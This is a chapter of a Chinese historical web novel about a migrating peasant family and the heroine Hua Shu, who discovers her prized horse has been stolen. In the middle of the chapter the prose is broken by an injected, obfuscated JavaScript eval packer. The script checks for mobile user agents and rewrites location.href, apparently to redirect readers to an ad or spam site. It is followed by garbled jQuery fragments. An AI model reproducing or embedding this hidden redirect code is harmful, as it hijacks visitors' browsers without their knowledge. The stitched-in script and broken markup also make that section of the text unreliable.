减字偷声 作品

13. 马呢

    两小宝大名郑吉,家中只有阿翁郑廉、大母郑媪和一个幼妹红鱼儿。去岁他阿母病重,为了给她看病不得不变卖家产,奈何生死有命,倾家荡产也没能把人救回来。


    人没保住,家业也没了,剩下的一家四口老的老小的小,只能靠郑廉四处给人帮佣挣个活命钱。


    赶巧,朝中颁发了迁民之策,说是不仅提供一路迁徙的口粮,到了地方还给住房给田产,若是表现良好,农具、耕牛都会一一配发。


    这政策说得如此优厚,郑廉心动不已,他正值壮年,一身的力气,奈何没有自己的产业,终归就似个飘萍,于是和郑媪商量一番,决定报名北上。


    家徒四壁的一家子,东拼西凑弄了辆板车,便随着大部队上路了。


    “可惜不能把阿母带上,这一走只怕此生再无相见之日……”


    说到这里小宝原本雀跃的神情落寞下来。


    谁人没有恋土情结?谁人愿意背土离家?那不只是他们生存过的一片土地,更是历辈先祖的埋骨之所,那是他们的根!


    然而于这些百姓而言,最要紧的是活下去,带着儿女后辈们好好的活下去!


    这段话引得华书也升起了几多惆怅,她不忍小宝为此伤心,忙转移话题,询问小宝在迁民队伍中的生活如何?


    她心知只怕不是很好,否则怎么让这小儿郎舍下礼义抢夺她的兔子?只是她既与小宝相识一场,自然是要问问困难,帮上一帮的。


    然而出乎华书意料,小宝竟然全无抱怨,甚至夸赞北迁队伍食物分配公平,从无克扣。


    这话听的华书啧啧称奇,连忙追问细节。


    原来,为了便于管理,保持队伍上传下达没有疏漏,华景除了安排官兵照应、看守、分发粮食外,还将百姓分了队列配合官兵。


    这队列分作十户一队,五队一列,约莫三百余人由一名什长带十名官兵看管。而百姓的队中则每队推选一人负责日常管理,包括但不限于上传下达、分发粮食、解决纠纷。


    民以食为天,北迁百姓口粮划定极为合理,尽管不丰,却也处在温饱层面,支撑每日的五十里路程不算问题,况且大家说是贫苦,但是多多少少还是有点存粮的,每日还能自己贴补点,所以对于口粮,大家是不患寡而患不均。


    而华景这种类比军中分级管理的方法,让北迁百姓化整为零,更让百姓、小队长、官兵之间互相监督,在极大程度上保持了公平性。


    是以出发十余日了,众人除了抱怨北行路上越来越冷,却没出什么乱子。


    小宝的父亲郑廉为人品行端正,当初倾家荡产救治亡妻的事迹颇给他挣了几分好名声,也被推举了上去做小队长。


    华书少见此等民生百态,听得津津有味,她擅体人情,又与小宝共同经历了一场危机,此时聊得颇有几分投契。


    安荣则在一旁叹为观止,他知晓华书交友不在意出身高低,只看性情是否相投,但也没想到她能与一八岁小儿聊得如此欢畅!<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195273|165636||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    p>眼见前方就是他们先时休整之处,安荣开口打断道:“郎君,咱们还未用午食,不如我骑着马先把小宝兄弟送去与家人团聚,稍后回来咱们休整一番用了午食再追上去……”


    这话音刚落,华书随着安荣的手看向方才拴马的地方,瞬间傻了眼。


    “……”


    马呢???


    她环视一圈,莫说马,现下外头连人都不见一个了!


    方才大战野彘的得意,随着一阵凉风一扫而空,空中甚至适时地传来一阵乌鸦呱呱的鸣声,平添了几分空寂。


    “我的乌背雪花银鬃千里驹!”华书一跃而起一把揪住安荣的衣襟把人半提溜起来,咬牙切齿,“那是我舅父送的生辰礼!我从小马驹养到这么大,养了两年了!你就这么给我弄丢了?!”


    安荣欲哭无泪,磕磕巴巴地辩解道:“方才我陡然听说林中有野彘出没,哪里还顾得了这许多?况且大汉律法严明,素有‘盗马者死,盗牛者加’啊【注1】……”


    是啊,盗马者死,盗牛者加!谁能想得到竟有人敢冒生死之罚来盗马?


    眼见安荣一副‘算了我还是死吧’的表情,华书恨恨地把人放了下来。


    “留你这条命,我看你回头怎么跟安谙解释。”


    安谙,安荣亲妹妹,华书的另一贴身侍女。


    这乌背雪花银鬃千里驹自从接过来基本就是安谙照料,那地位,简直堪比马中华书!若她知晓马丢了,要安荣半条命都是轻的!